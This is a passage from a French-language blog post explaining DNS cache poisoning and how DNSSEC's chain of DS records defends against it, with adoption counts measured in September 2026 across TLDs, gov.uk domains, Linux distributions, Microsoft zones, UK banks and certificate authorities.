qu\u0026rsquo;une fois vu à quoi il sert.\nUn résolveur qui demande un nom envoie une requête et attend. La réponse est appariée sur une poignée de champs : le nom demandé, le type, les adresses et ports source et destination, et un identifiant de transaction sur 16 bits. Quiconque produit un paquet correspondant à ces champs avant la vraie réponse gagne. Le résolveur met la falsification en cache et la sert à tous les clients, aussi longtemps que l\u0026rsquo;attaquant l\u0026rsquo;a décidé.\nLe travail de Dan Kaminsky en 2008 est celui dont tout le monde se souvient à moitié.3 Ce qui compte n\u0026rsquo;est pas que l\u0026rsquo;empoisonnement de cache existait : il était connu depuis des années. C\u0026rsquo;est qu\u0026rsquo;il a trouvé un moyen de retenter la devinette indéfiniment. Demandez un nom qui n\u0026rsquo;existe pas : chaque échec ne coûte rien et laisse réessayer aussitôt, si bien que l\u0026rsquo;attaquant ne court plus une seule course contre un enregistrement mis en cache pour une journée. La réponse de l\u0026rsquo;industrie a été d\u0026rsquo;ajouter de l\u0026rsquo;aléatoire : des ports source aléatoires en plus de l\u0026rsquo;identifiant de transaction aléatoire, ce qui a fait passer la devinette de une sur 65 536 à environ une sur deux milliards.\nC\u0026rsquo;est un plus grand nombre. Ce n\u0026rsquo;est pas une preuve.\nLe résolveur apparie sur des champs qu'un attaquant peut deviner SANS SIGNATURE : LE PREMIER PAQUET QUI CORRESPOND GAGNE le résolveur demande, puis attend le vrai serveur répond à son rythme attaquant hors chemin n'a qu'à arriver en premier Elle est acceptée si cinq champs correspondent, et tous sont devinables : nom · type · adresses · port source · ID de transaction 16 bits AVEC SIGNATURE : LA RÉPONSE PORTE LA PREUVE Une signature qui chaîne jusqu'à l'unique clé racine que le résolveur avait déjà. Deviner n'en produit pas. Le résolveur apparie sur des champs qu\u0026rsquo;un attaquant peut deviner. La signature remplace la devinette par de l\u0026rsquo;arithmétique Et l\u0026rsquo;atténuation s\u0026rsquo;érode depuis, parce que chacun de ces champs est une devinette rendue plus difficile et non un fait rendu vérifiable. Un NAT qui réécrit les ports de façon prévisible défait la randomisation. Les attaques par fragmentation contournent l\u0026rsquo;appariement entièrement. Les attaques hors chemin reviennent sans cesse sous de nouvelles formes, et chacune reçoit son propre correctif.\nLa signature clôt le débat. Une réponse signée se vérifie contre une clé que le résolveur peut chaîner jusqu\u0026rsquo;à la racine, ou pas, et aucune devinette n\u0026rsquo;obtiendra à un attaquant une signature valide.\nCe que gagne réellement celui qui remporte cette course Soyons concrets, parce que « empoisonnement de cache » sonne abstrait et que les conséquences ne le sont pas.\nCe qu\u0026rsquo;ils falsifient Ce qu\u0026rsquo;ils obtiennent L\u0026rsquo;enregistrement A de votre site Le trafic, et un formulaire de connexion qui ressemble au vôtre Vos enregistrements MX Tout le courrier entrant, y compris les réinitialisations de mot de passe Le nom qu\u0026rsquo;une autorité de certification valide Un certificat valide pour un domaine qui ne leur appartient pas Le nom depuis lequel vos machines récupèrent leurs mises à jour Rien n\u0026rsquo;arrive, et personne n\u0026rsquo;est prévenu Votre délégation NS Tout ce qui précède à la fois, aussi longtemps que le TTL le dit La troisième ligne transforme un problème DNS en problème de certificat. La délivrance validée par domaine vous demande de publier un enregistrement puis va le consulter. Si un attaquant peut contrôler la réponse que l\u0026rsquo;autorité voit pendant cette consultation, elle lui délivre du vrai papier pour votre nom, et après ça le cadenas du navigateur est le sien. Tout ce qu\u0026rsquo;on a appris à un utilisateur à vérifier dira que le site va bien.\nLa quatrième ligne est la discrète. Une réponse falsifiée n\u0026rsquo;a besoin d\u0026rsquo;envoyer personne nulle part. Pointer un service de mise à jour vers un trou noir suffit, et rien dans la pile n\u0026rsquo;est fait pour crier sur des mises à jour jamais arrivées.\nCe que la signature y change Le mécanisme est plus simple que sa réputation.\nToute zone signée détient une paire de clés. Le propriétaire de la zone signe chaque jeu d\u0026rsquo;enregistrements avec la moitié privée et publie un RRSIG à côté. La moitié publique va dans la zone en tant que DNSKEY. Jusqu\u0026rsquo;ici ça ne prouve rien, parce qu\u0026rsquo;un attaquant capable de falsifier un enregistrement A peut falsifier un DNSKEY pour aller avec.\nCe qui referme la boucle, c\u0026rsquo;est l\u0026rsquo;enregistrement DS, et le DS vit dans la zone parente, pas dans la vôtre. C\u0026rsquo;est une empreinte de votre clé, publiée et signée par la zone au-dessus de vous. Donc uk se porte garant de votre clé, la racine se porte garante de uk, et votre résolveur est né en sachant exactement une chose : la clé de la racine.2\nChaque parent se porte garant de son enfant, et un seul DS manquant casse tout ce qui est en dessous LA SEULE CHOSE QU'UN RÉSOLVEUR SAIT DE NAISSANCE la clé racine livrée avec le résolveur Tout le reste s'apprend en demandant, et se prouve par le niveau du dessus. DS pour uk uk signée, et garantie par la racine DS pour votre zone damiendye.uk signe ses enregistrements avec RRSIG Un DS est une empreinte de la clé de l'enfant, publiée et signée par le parent. Le parent est donc le seul à pouvoir vous mettre dans la chaîne. Pas vous. ET S'IL MANQUE UN SEUL DS La chaîne s'arrête là. Tout en dessous est invérifiable, quel que soit le soin mis à signer la zone. Chaque parent se porte garant de son enfant, et un seul DS manquant casse tout ce qui est en dessous Trois types d\u0026rsquo;enregistrements font le travail, et vous avez intérêt à savoir lequel est lequel, parce qu\u0026rsquo;un seul relève du travail de quelqu\u0026rsquo;un d\u0026rsquo;autre :\nEnregistrement Vit dans Dit DNSKEY votre zone voici ma clé publique RRSIG votre zone voici ma signature sur ce jeu d\u0026rsquo;enregistrements DS la zone de votre parent je me porte garant de cette clé Vous pouvez publier les deux premiers tout l\u0026rsquo;après-midi, ça ne change rien. Tant que le parent ne publie pas de DS, vous êtes une zone signée que personne ne peut vérifier, ce qui revient à une zone non signée avec du travail en plus dedans.\n$ dig +short @127.0.0.53 uk DS 43876 8 2 A107ED2AC1BD14D924173BC7E827A1... $ dig +short @127.0.0.53 damiendye.uk DS 2371 13 2 A5B2825C57899A5A15EE9703832C8358E0D19EF29DC72DD83C691ED77C33BD7F $ dig +short @127.0.0.53 bbc.co.uk DS (nothing) C\u0026rsquo;est la zone de ce site au milieu. uk se porte garant d\u0026rsquo;elle, l\u0026rsquo;algorithme 13 est ECDSA P-256, et un résolveur validant peut donc prouver chaque réponse à son sujet jusqu\u0026rsquo;à la racine. bbc.co.uk ne renvoie rien, donc il ne peut pas.\nUne seule commande vous dit si une zone est dans la chaîne de confiance. Si le parent ne publie pas de DS pour vous, vous n\u0026rsquo;êtes pas signé, quoi que vous ayez configuré par ailleurs, et un résolveur validant traitera chaque réponse sur votre domaine comme invérifiable.\nCet unique enregistrement est tout le test.\nCe qu\u0026rsquo;il ne fait pas Ça vaut d\u0026rsquo;être dit franchement : le survendre est la moitié de la raison pour laquelle les gens s\u0026rsquo;en méfient.\nIl ne va pas Parce que Chiffrer quoi que ce soit Chaque nom que vous demandez est toujours en clair. C\u0026rsquo;est à ça que sert DNS over TLS, et ils ne sont pas substituables Rendre sûre une zone compromise Un attaquant qui détient votre gestion DNS signe ses falsifications avec votre clé, sans le moindre état d\u0026rsquo;âme Protéger le dernier saut Entre un résolveur validant et l\u0026rsquo;application, sauf si ce saut est de confiance lui aussi Empêcher qu\u0026rsquo;on vous retire un nom Un bureau d\u0026rsquo;enregistrement ou un tribunal peut toujours le faire, et la signature restera parfaitement valide tout du long Dire quoi que ce soit sur le contenu Une réponse signée est authentique, pas honnête. Un logiciel malveillant peut signer sa zone lui aussi, et il le fait Les gens butent sur cette dernière ligne. DNSSEC prouve que la réponse vient de celui qui contrôle la zone. Il n\u0026rsquo;a absolument aucun avis sur son honnêteté.\nIl fait exactement une chose. Il rend la falsification d\u0026rsquo;une réponse arithmétiquement infaisable plutôt que seulement improbable.\nComment vérifier n\u0026rsquo;importe quelle zone, y compris celle de quelqu\u0026rsquo;un d\u0026rsquo;autre C\u0026rsquo;est la partie qui rend le reste de ce billet possible, et elle tient en une commande.\nUne zone est dans la chaîne de confiance si son parent publie un DS pour elle. C\u0026rsquo;est tout le test, et vous pouvez le passer sur n\u0026rsquo;importe qui, sans permission, depuis n\u0026rsquo;importe quelle machine :\ndig +short damiendye.uk DS Quelque chose en retour veut dire signé. Rien en retour veut dire non signé, quoi que la zone ait configuré par ailleurs.\nSi vous voulez mieux qu\u0026rsquo;un oui ou non, trois autres valent d\u0026rsquo;être connues :\nCommande Vous dit dig +short \u0026lt;zone\u0026gt; DS Est-ce que le parent se porte garant de cette zone, tout court delv @1.1.1.1 \u0026lt;zone\u0026gt; A Est-ce que la chaîne se valide de bout en bout, et sinon, où elle casse resolvectl query \u0026lt;zone\u0026gt; Ce que conclut un résolveur validant, verdict formulé en toutes lettres dig +dnssec \u0026lt;zone\u0026gt; SOA Le RRSIG et sa date d\u0026rsquo;expiration, qui est la chose à surveiller Deux pièges à connaître avant de croire vos propres résultats : les deux m\u0026rsquo;ont eu en mesurant ce billet.\ndig +short … DS affichera une chaîne de CNAME si le nom est un alias, et un nom d\u0026rsquo;hôte contenant des chiffres ressemble assez à un enregistrement DS pour tromper un script naïf. Un vrai DS a quatre champs : étiquette de clé, algorithme, type d\u0026rsquo;empreinte, empreinte hexadécimale. Vérifiez cette forme, ou vous compterez comme signées des zones qui ne le sont pas.\nUn DS sous un parent non signé ne veut rien dire. La chaîne doit atteindre la racine. update.microsoft.com a un DS, et microsoft.com n\u0026rsquo;en a pas, donc la branche est invérifiable quoi qu\u0026rsquo;il arrive. Vérifiez toujours le chemin entier, pas un seul niveau.\nTout ce que compte la suite de ce billet a été mesuré ainsi. Pas de scanner, pas de tableau de bord tiers, pas de classement d\u0026rsquo;éditeur. Demandez au parent s\u0026rsquo;il se porte garant de l\u0026rsquo;enfant, et exigez que la réponse s\u0026rsquo;analyse comme un DS.\nLa zone racine est terminée C\u0026rsquo;est là que la sagesse reçue est tout simplement périmée. Les gens parlent encore de DNSSEC comme si l\u0026rsquo;infrastructure était le problème.\nJ\u0026rsquo;ai récupéré la zone racine en direct le 27 septembre 2026, numéro de série 2026092701, et compté les délégations contre les enregistrements DS.4\ndélégations signées part gTLD (.com, .org, .dev, tout le lot) 1 038 1 038 100 % TLD internationalisés 151 136 90,1 % ccTLD 248 176 71,0 % arpa 1 1 100 % Total 1 438 1 351 93,9 % Chaque domaine générique de premier niveau est signé, sans exception. Tous les 1 038, parce que le contrat de registre de l\u0026rsquo;ICANN l\u0026rsquo;exige de tout ce qui est délégué sous le programme des nouveaux gTLD. Les 87 non signés sont presque entièrement des codes pays, et la liste est surtout faite de petits territoires et d\u0026rsquo;une poignée d\u0026rsquo;États :\nae ao aq ba bb bo bs cd cf cg ck cu cv cw do eg fk gb gf gh gm gp gq gt gu hm im iq jm jo kh km kn kp mh mk mo mp mq mt mv mw mz ne ni np nr om pa pf pk pn ps qa sd sl sm so st sv sy sz td tg tj tk to va vg vi ye zw gb y figure, curiosité plutôt que problème, puisque personne ne s\u0026rsquo;en sert. Le Vatican, la Corée du Nord, Cuba et la Syrie aussi. Et tk aussi, des années durant la plus grande source de domaines gratuits sur internet, et une source fiable d\u0026rsquo;abus avec ça.\nDonc le haut de l\u0026rsquo;arbre est fait. Les registres ont fait la partie difficile, la coûteuse et celle qui demandait une coordination internationale, et ils l\u0026rsquo;ont terminée. Du coup, rien en dessous de ce point ne peut être mis sur le dos de l\u0026rsquo;infrastructure.\nQuatre-vingt-quatorze pour cent en haut, un et demi en bas LA CHAÎNE EST BÂTIE la racine signée depuis 2010 1 351 TLD sur 1 438 tous les gTLD, sans exception le nom que les gens tapent vraiment et là ça s'arrête PART SIGNÉE, COMPTÉE LE 27 SEPTEMBRE 2026 TLD dans la racine 93,9 % distributions Linux et BSD 29 % banques britanniques 27 % registres de paquets 18 % zones Microsoft 15 % autorités de certification 11 % tous les domaines gov.uk 1,63 % 39 signés, sur les 2 390 du registre officiel qui résolvent encore Compté, pas estimé. La chaîne est bâtie jusqu\u0026rsquo;au TLD et ensuite personne ne s\u0026rsquo;en sert Et puis ça s\u0026rsquo;arrête net Sous le TLD, le tableau s\u0026rsquo;inverse complètement.\nJ\u0026rsquo;ai mesuré de la même façon pour chaque ensemble ci-dessous : demander un DS au parent, n\u0026rsquo;accepter qu\u0026rsquo;un enregistrement qui s\u0026rsquo;analyse réellement comme tel. Tout ici a été compté le 27 septembre 2026.\nQuoi Signés Part TLD dans la zone racine 1 351 / 1 438 93,9 % Distributions Linux et BSD 19 / 96 20 % Banques et sociétés de crédit immobilier britanniques 13 / 98 13 % Registres de paquets et chaîne d\u0026rsquo;approvisionnement 4 / 22 18 % Zones de Microsoft 4 / 26 15 % Autorités de certification 1 / 9 11 % Tous les domaines gov.uk qui résolvent encore 39 / 2 390 1,63 % Quatre-vingt-quatorze pour cent en haut. Un et demi pour cent en bas. La chaîne de confiance est une chaîne dont une extrémité est boulonnée au mur et l\u0026rsquo;autre traîne par terre.\nUne note de méthode, parce qu\u0026rsquo;un chiffre aussi mauvais en mérite une. La ligne gov.uk est un recensement et non un échantillon : c\u0026rsquo;est chaque domaine de second niveau du registre publié par le gouvernement, filtré aux 2 390 qui résolvent encore. Les autres lignes sont des listes choisies d\u0026rsquo;organisations dont la falsification ferait réellement mal, ce qui est un jugement, et j\u0026rsquo;ai listé chacun de leurs noms ci-dessous pour que vous contestiez mes choix plutôt que mon arithmétique.\nLe recensement de l\u0026rsquo;État : 39 sur 2 390 La liste officielle des domaines gov.uk publiée par le gouvernement compte 3 004 noms de second niveau. Là-dessus, 2 390 résolvent encore. Trente-neuf sont signés.\nAvant le détail, une chose sur ce registre. La version la plus récente que gov.uk publie est datée du 1er octobre 2016.5 Dix ans, pour la liste faisant autorité des domaines sur lesquels l\u0026rsquo;État britannique répond. C\u0026rsquo;est un petit constat en soi et je le laisse là.\nMaintenant regardez lesquels, ces trente-neuf.\nSignés Non signés mi6.gov.uk, sis.gov.uk gchq.gov.uk, mi5.gov.uk nationalcrimeagency.gov.uk ncsc.gov.uk, cyberessentials.ncsc.gov.uk cheltenham.gov.uk, cotswold.gov.uk, somerset.gov.uk, waverley.gov.uk, southribble.gov.uk, sedgemoor.gov.uk, fdean.gov.uk, westoxon.gov.uk birmingham.gov.uk, manchester.gov.uk, leeds.gov.uk, glasgow.gov.uk, sheffield.gov.uk, liverpool.gov.uk, bristol.gov.uk, cardiff.gov.uk, edinburgh.gov.uk, belfast.gov.uk peakdistrict.gov.uk, snowdonia-npa.gov.uk, eryri-npa.gov.uk hmrc.gov.uk, dvla.gov.uk, dwp.gov.uk, nhs.uk, homeoffice.gov.uk, mod.uk, parliament.uk neuf conseils de paroisse et de commune companieshouse.gov.uk, landregistry.gov.uk, police.uk, met.police.uk, tfl.gov.uk, ons.gov.uk Relisez cette première colonne. Le service de renseignement extérieur a signé sa zone. Le Centre national de cybersécurité, non.\nLe GCHQ non plus, pourtant l\u0026rsquo;organisation dont le NCSC dépend. Le dispositif Cyber Essentials non plus, qui existe pour certifier que la sécurité des autres est adéquate. Je ne vais pas faire semblant que ce soit autre chose que remarquable.\nEt neuf des trente-neuf sont des conseils de paroisse et de commune. Abinger. Aldenham. Ashmansworth. Wheathampstead. Frampton on Severn. Des endroits avec un secrétaire, un site web à temps partiel et un budget qui ne couvrirait pas une journée de conseil à Whitehall. Ils y sont arrivés. Le fisc britannique, qui détient le dossier fiscal de chaque adulte du pays, non.\nJe peux demander ce qui, dans le processus, permet ça. Pas qui : quoi. Parce que le NCSC publie des recommandations qui disent aux autres de déployer DNSSEC, et le service qui les écrit n\u0026rsquo;a pas fait ce qu\u0026rsquo;elles disent. Soit c\u0026rsquo;est important, auquel cas l\u0026rsquo;organisme qui le dit aurait dû le faire il y a des années, soit ça ne l\u0026rsquo;est pas, auquel cas les recommandations devraient dire ça à la place.\nL\u0026rsquo;excuse qu\u0026rsquo;on proposera sera l\u0026rsquo;échelle et l\u0026rsquo;existant. Elle ne survit pas à la première colonne. somerset.gov.uk est une collectivité unitaire qui sert 580 000 personnes et elle est signée. birmingham.gov.uk est une collectivité unitaire qui en sert 1,1 million et elle ne l\u0026rsquo;est pas. Même pays, même registre, mêmes bureaux d\u0026rsquo;enregistrement, même argent disponible pour les mêmes prestataires. L\u0026rsquo;une l\u0026rsquo;a fait.\nLe logiciel depuis lequel vous mettez à jour C\u0026rsquo;est la partie qui devrait vous inquiéter plus que les banques, et c\u0026rsquo;est la partie que presque personne ne mesure.\nChaque machine que vous exploitez va chercher du code quelque part, selon un calendrier, et elle trouve ce quelque part en demandant au DNS.\nQuatre-vingt-dix-neuf distributions et BSD, quatre-vingt-seize qui résolvent encore. Dix-neuf sont signées.\nSignées (19) debian.org, fedoraproject.org, opensuse.org, gentoo.org, almalinux.org, artixlinux.org, cachyos.org, garudalinux.org, getsol.us, linuxmint.com, q4os.org, system76.com, tails.net, whonix.org, freebsd.org, netbsd.org, hardenedbsd.org, midnightbsd.org, opnsense.org Les grosses commerciales ubuntu.com, canonical.com, redhat.com, suse.com, oracle.com, rockylinux.org, centos.org, eurolinux.com Déclinaisons d\u0026rsquo;Ubuntu kubuntu.org, xubuntu.org, lubuntu.me, ubuntustudio.com, ubuntukylin.com Famille Arch archlinux.org, arcolinux.com, endeavouros.com, manjaro.org, blackarch.org Indépendantes et minimales alpinelinux.org, voidlinux.org, nixos.org, devuan.org, slackware.com, antixlinux.com, mxlinux.org, puppylinux.com, tinycorelinux.net, slitaz.org, porteus.org, funtoo.org, calculate-linux.org Orientées bureau zorin.com, elementary.io, deepin.org, uniontech.com, bodhilinux.com, peppermintos.com, sparkylinux.org, neon.kde.org, nobaraproject.org, ultramarine-linux.org, vanillaos.org, solus-project.com Sécurité et vie privée kali.org, parrotsec.org, qubes-os.org, backbox.org, pentoo.ch, trisquel.info, pureos.net, hyperbola.info, dragora.org Régionales et étatiques altlinux.org, astralinux.ru, rosa.ru, openkylin.top, openeuler.org, opencloudos.org, openanolis.cn, mageia.org, openmandriva.org, pclinuxos.com Embarquées, immuables, appliances openwrt.org, dd-wrt.com, librecmc.org, raspberrypi.com, armbian.com, flatcar.org, talos.dev, bottlerocket.dev, truenas.com, pfsense.org BSD openbsd.org, dragonflybsd.org, ghostbsd.org Et les deux qui comptent le plus kernel.org, gnu.org Dix-neuf sur quatre-vingt-seize. Et les noms de cette liste de non signés n\u0026rsquo;ont rien d\u0026rsquo;obscur : Ubuntu, Red Hat, SUSE, Oracle, Arch, Alpine, NixOS, Rocky, toutes les déclinaisons d\u0026rsquo;Ubuntu, et kernel.org et gnu.org tous les deux.\nLes distributions de sécurité et de vie privée sont celles que je m\u0026rsquo;attendais à voir différentes, et pour l\u0026rsquo;essentiel elles ne le sont pas. Tails et Whonix ont signé, ce qui colle. Kali, Parrot, Qubes, Trisquel et PureOS non, ce qui ne colle pas. OpenBSD s\u0026rsquo;est bâti vingt-cinq ans de réputation en traitant précisément cette classe de choses correctement et n\u0026rsquo;a pas signé openbsd.org, quand FreeBSD, NetBSD, HardenedBSD et MidnightBSD l\u0026rsquo;ont tous fait.\nLes registres de paquets frôlent le sans-faute dans la mauvaise colonne : npm, crates.io, RubyGems, Packagist, Docker Hub et Quay sont tous non signés. pypi.org fait exception, et il faut lui rendre justice, parce que c\u0026rsquo;est aussi l\u0026rsquo;un des plus attaqués.\nMicrosoft, et le canal de mise à jour Quatre zones Microsoft sur vingt-six sont signées, et elles sont toutes dans un même coin du patrimoine :\nSignées Non signées live.com, outlook.com, office.com, office365.com microsoft.com, windows.com, windowsupdate.com, update.microsoft.com azure.com, azurewebsites.net, microsoftonline.com, windows.net github.com, npmjs.com, linkedin.com, visualstudio.com, xbox.com, bing.com Les noms Outlook et Office sont signés et rien d\u0026rsquo;autre ne l\u0026rsquo;est, ce qui ressemble à la décision d\u0026rsquo;une équipe plutôt qu\u0026rsquo;à celle d\u0026rsquo;une entreprise. Notez ce qu\u0026rsquo;il y a dans la colonne de droite aux côtés du service de mise à jour : github.com et npmjs.com, deux des plus gros points de distribution de code sur internet, tous deux détenus par Microsoft, tous deux non signés.\n$ dig +short @127.0.0.53 windowsupdate.com DS (nothing) $ dig +short @127.0.0.53 microsoft.com DS (nothing) $ dig +short @127.0.0.53 com DS 19718 13 2 8ACBB0CD28F41250A80A491389424... com est signé, donc rien de technique ne fait obstacle. Microsoft pourrait publier un DS cet après-midi.\nLa réponse toute faite, c\u0026rsquo;est que le DNS n\u0026rsquo;est qu\u0026rsquo;une couche parmi d\u0026rsquo;autres. Les charges de mise à jour sont signées à la compilation, le client vérifie la signature, et le trafic passe sur TLS. Cassez le DNS et vous n\u0026rsquo;arriverez toujours pas à faire exécuter du code.\nCette réponse dépend entièrement de la solidité de la signature. Elle ne l\u0026rsquo;a pas été.\nQuand Ce qui est arrivé à la confiance dans la signature de Microsoft 2012 Flame a falsifié un certificat chaînant jusqu\u0026rsquo;à la Microsoft Root Authority avec une collision MD5 contre le chemin d\u0026rsquo;enrôlement des licences Terminal Services, puis l\u0026rsquo;a utilisé sur un faux serveur de mise à jour6 2021 Netfilter est devenu le premier rootkit trouvé porteur d\u0026rsquo;une signature WHQL délivrée directement par Microsoft, après être passé par le programme de compatibilité matérielle Windows tout en parlant à un serveur de commande et contrôle7 2021 FiveSys, un autre pilote certifié WHQL, s\u0026rsquo;est révélé être un rootkit qui installait son propre certificat racine et relayait le trafic HTTP et HTTPS de la machine7 2022 Des pilotes malveillants signés par Microsoft sont apparus dans des attaques par rançongiciel, et Microsoft a révoqué les signatures et suspendu les comptes de développeur7 2023 Storm-0558 a obtenu une clé de signature grand public de Microsoft depuis un vidage mémoire, après avoir compromis le compte d\u0026rsquo;un ingénieur, et a falsifié des jetons d\u0026rsquo;authentification acceptés pour la messagerie d\u0026rsquo;entreprise chez une vingtaine d\u0026rsquo;organisations, dont des agences gouvernementales8 Soyons précis sur cette dernière ligne, parce que les gens l\u0026rsquo;exagèrent. La clé volée a signé des jetons d\u0026rsquo;identité, pas des binaires. Elle figure au tableau pour une autre raison : la garde du matériel de signature de Microsoft a échoué, sans être détectée pendant deux ans, via un vidage mémoire et un compte d\u0026rsquo;ingénieur compromis.\nLes lignes au-dessus sont les échecs de signature de code, et elles sont pires. Deux fois la même année, le propre programme de certification matérielle de Microsoft a posé une signature Microsoft sur un rootkit fonctionnel et l\u0026rsquo;a expédié. Pas un certificat falsifié, pas une clé volée. Le processus légitime, signant un logiciel malveillant, exactement comme prévu.\nDonc la défense qui vous autorise à traiter le DNS comme optionnel a été subvertie par falsification, détournement de processus et vol de clé, sur onze ans. Un attaquant détenant une signature que la machine acceptera n\u0026rsquo;est pas une expérience de pensée. Pour un acteur soutenu par un État, c\u0026rsquo;est un problème d\u0026rsquo;achat, pas de recherche.\nDonnez à cet attaquant une réponse DNS falsifiée et le tableau est complet : du code signé qu\u0026rsquo;il contrôle, livré depuis un serveur que la machine croit être celui de Microsoft, sur une connexion que rien dans la pile ne remettra en question. C\u0026rsquo;est Flame, avec du meilleur matériel de clé.\nDNSSEC est la seule couche de cette chaîne qui se moque de savoir quelle clé de signature détient l\u0026rsquo;attaquant. Il ne valide pas la charge utile, il valide où la machine a été envoyée, et il échoue indépendamment de tous les certificats et signatures en jeu. Ce qui est précisément ce qu\u0026rsquo;on attend d\u0026rsquo;une seconde couche, et précisément pourquoi elle ne devrait pas être celle qui est coupée.\nEt il existe une attaque moins chère qui n\u0026rsquo;a besoin d\u0026rsquo;aucune clé. Falsifiez la réponse pour que le service de mise à jour ne résolve vers rien d\u0026rsquo;utile, et la machine ne se met simplement jamais à jour. Aucune erreur sur laquelle l\u0026rsquo;utilisateur agira, aucune alarme, juste un parc qui prend tranquillement du retard pendant que le tableau de bord dit que tout va bien. Si je voulais un parc prêt à être exploité dans six mois, je ne lui pousserais rien du tout. Je m\u0026rsquo;assurerais juste que rien n\u0026rsquo;arrive.\nLes banques, au complet Pas un échantillon cette fois. Quatre-vingt-dix-huit banques et sociétés de crédit immobilier britanniques, toutes résolvant le jour même, de la grande rue jusqu\u0026rsquo;aux sociétés à une seule agence et au nom victorien.\nTreize sont signées.\nSignées (13) lloydsbank.com, halifax.co.uk, bankofscotland.co.uk, tsb.co.uk, co-operativebank.co.uk, smile.co.uk, monzo.com, aldermore.co.uk, hampshiretrustbank.co.uk, investec.com, handelsbanken.co.uk, allica.bank, weatherbys.bank Grandes enseignes, non signées hsbc.co.uk, firstdirect.com, barclays.co.uk, natwest.com, rbs.co.uk, ulsterbank.co.uk, santander.co.uk, nationwide.co.uk, virginmoney.com, clydesdalebank.co.uk, metrobankonline.co.uk, bankofireland.co.uk, aibgb.co.uk, danskebank.co.uk Néobanques et challengers, non signées starlingbank.com, revolut.com, chase.co.uk, marcus.co.uk, atombank.co.uk, zopa.com, tandem.co.uk, kroo.com, monese.com, cashplus.com, anna.money, mettle.co.uk Distribution, non signées tescobank.com, sainsburysbank.co.uk, marksandspencer.com, johnlewisfinance.com PME et spécialistes, non signées shawbrook.co.uk, paragonbank.co.uk, oaknorth.co.uk, recognisebank.co.uk, redwoodbank.co.uk, ccbank.co.uk, closebrothers.com, unitedtrustbank.co.uk, gbbank.co.uk, cynergybank.co.uk, securetrustbank.com Banques privées, non signées coutts.com, hoaresbank.co.uk, arbuthnotlatham.co.uk, rathbones.com, brownshipley.com, butterfieldgroup.com Sociétés de crédit immobilier, non signées absolument toutes celles testées : coventrybuildingsociety.co.uk, ybs.co.uk, skipton.co.uk, leedsbuildingsociety.co.uk, principality.co.uk, westbrom.co.uk, newcastle.co.uk, thenottingham.com, cumberland.co.uk, progressivebs.co.uk, saffronbs.co.uk, newburybs.co.uk, monbs.com, furnessbs.co.uk, ipswichbuildingsociety.co.uk, leekbs.co.uk, theloughborough.co.uk, mansfieldbs.co.uk, marsdenbs.co.uk, themelton.co.uk, familybuildingsociety.co.uk, penrithbs.co.uk, scottishbs.co.uk, srbs.co.uk, swansea-bs.co.uk, teachersbs.co.uk, thetipton.co.uk, thevernon.co.uk, beverleybs.co.uk, chorleybs.co.uk, dudleybuildingsociety.co.uk, esbs.co.uk, ecology.co.uk, harpendenbs.co.uk, hrbs.co.uk, darlington.co.uk, hanley.co.uk, bathbuildingsociety.co.uk Trente-huit sociétés de crédit immobilier. Pas une seule signée. Ce sont les établissements qui détiennent l\u0026rsquo;hypothèque d\u0026rsquo;un très grand nombre de maisons.\nDeux motifs ressortent de cette colonne des signées. Lloyds Banking Group a signé trois de ses marques, lloydsbank.com, halifax.co.uk et bankofscotland.co.uk, et la Co-operative Bank a signé les deux siennes. Donc la décision se prend une fois, au niveau de l\u0026rsquo;organisation, puis s\u0026rsquo;applique. Aucun obstacle par domaine là-dedans.\nEt Monzo a signé alors que Starling non. Deux banques challenger fondées à un an d\u0026rsquo;écart, sur des infrastructures modernes comparables, avec le même régulateur et les mêmes bureaux d\u0026rsquo;enregistrement disponibles. L\u0026rsquo;une l\u0026rsquo;a fait.\nLe seul endroit où tout le monde le fait Regardez les deux derniers noms de la colonne des signées : allica.bank et weatherbys.bank.\n.bank est un domaine de premier niveau restreint exploité par fTLD Registry Services, et ses exigences de sécurité rendent DNSSEC obligatoire, aux côtés de TLS et de l\u0026rsquo;authentification du courrier, avec une re-vérification annuelle de chaque titulaire.9\nLes mêmes établissements, deux régimes Signés Sur un domaine ordinaire, où DNSSEC est optionnel 13 sur 98 Sur .bank, où il est obligatoire et revérifié chaque année les deux Deux est un petit nombre, alors prenez-le comme une démonstration plutôt qu\u0026rsquo;une statistique. L\u0026rsquo;exigence reste la seule chose qui ait changé.\nC\u0026rsquo;est la réponse à toutes les excuses plus bas dans ce billet, et elle arrive avant les excuses. Les mêmes banques, les mêmes prestataires, les mêmes budgets et les mêmes compétences produisent 13 % de conformité quand c\u0026rsquo;est optionnel et 100 % quand quelqu\u0026rsquo;un vérifie tous les ans. Rien de technique n\u0026rsquo;a bougé. Quelqu\u0026rsquo;un a simplement demandé.\nPersonne ne garde les gardiens Une autorité de certification sur neuf.\nSignée Non signées entrust.com letsencrypt.org, digicert.com, sectigo.com, globalsign.com, identrust.com, buypass.com, zerossl.com, certum.eu Ce sont les organisations dont tout le métier est de prouver qu\u0026rsquo;une chose est bien ce qu\u0026rsquo;elle prétend être. Ce sont aussi les organisations qui valident le contrôle d\u0026rsquo;un domaine par le DNS, en vous demandant de publier un enregistrement puis en allant le consulter. La consultation qui décide si vous obtenez un certificat pour un domaine est, chez huit de ces neuf, une consultation que personne ne peut vérifier.\nRien d\u0026rsquo;hypothétique là-dedans. C\u0026rsquo;est la forme documentée : falsifiez la consultation de validation, faites-vous délivrer le certificat, et vous voilà détenteur de papier valide pour un nom qui ne vous appartient pas. DNSSEC est l\u0026rsquo;une des rares choses qui rendent ça nettement plus difficile, et ceux qu\u0026rsquo;il protégerait le plus ne l\u0026rsquo;ont pas déployé.\nEt je vais vous le dire tout net. Si votre modèle d\u0026rsquo;affaires est l\u0026rsquo;identité, et que vous n\u0026rsquo;avez pas signé votre propre zone, l\u0026rsquo;argument de la difficulté ne vous est pas ouvert.\nEt qui vérifie réellement ? Signer n\u0026rsquo;est que la moitié du travail. Une zone signée ne protège personne si rien à l\u0026rsquo;autre bout ne vérifie la signature, et c\u0026rsquo;est là que le tableau empire au lieu de s\u0026rsquo;améliorer.\nDeux endroits où la validation peut se produire, et ils ne sont pas équivalents :\nValider au résolveur laisse un saut non authentifié. Valider sur l'appareil, non DEUX ENDROITS OÙ LA PREUVE PEUT ÊTRE VÉRIFIÉE, ET CE N'EST PAS LA MÊME CHOSE Validation au résolveur votre application croit le bit un seul bit AD non authentifié le résolveur vérifie les signatures chaîne vérifiée la zone signée RRSIG et DS Vous obtenez le verdict, pas la preuve, sur le saut même que tout cet exercice existe pour ne pas croire. Validation sur l'appareil votre application les vérifie elle-même chaîne vérifiée de bout en bout, là où la réponse est utilisée la zone signée RRSIG et DS Rien entre les deux ne peut vous mentir, parce qu'on ne demande rien à ce qu'il y a entre les deux. Presque toute la validation du monde est celle du 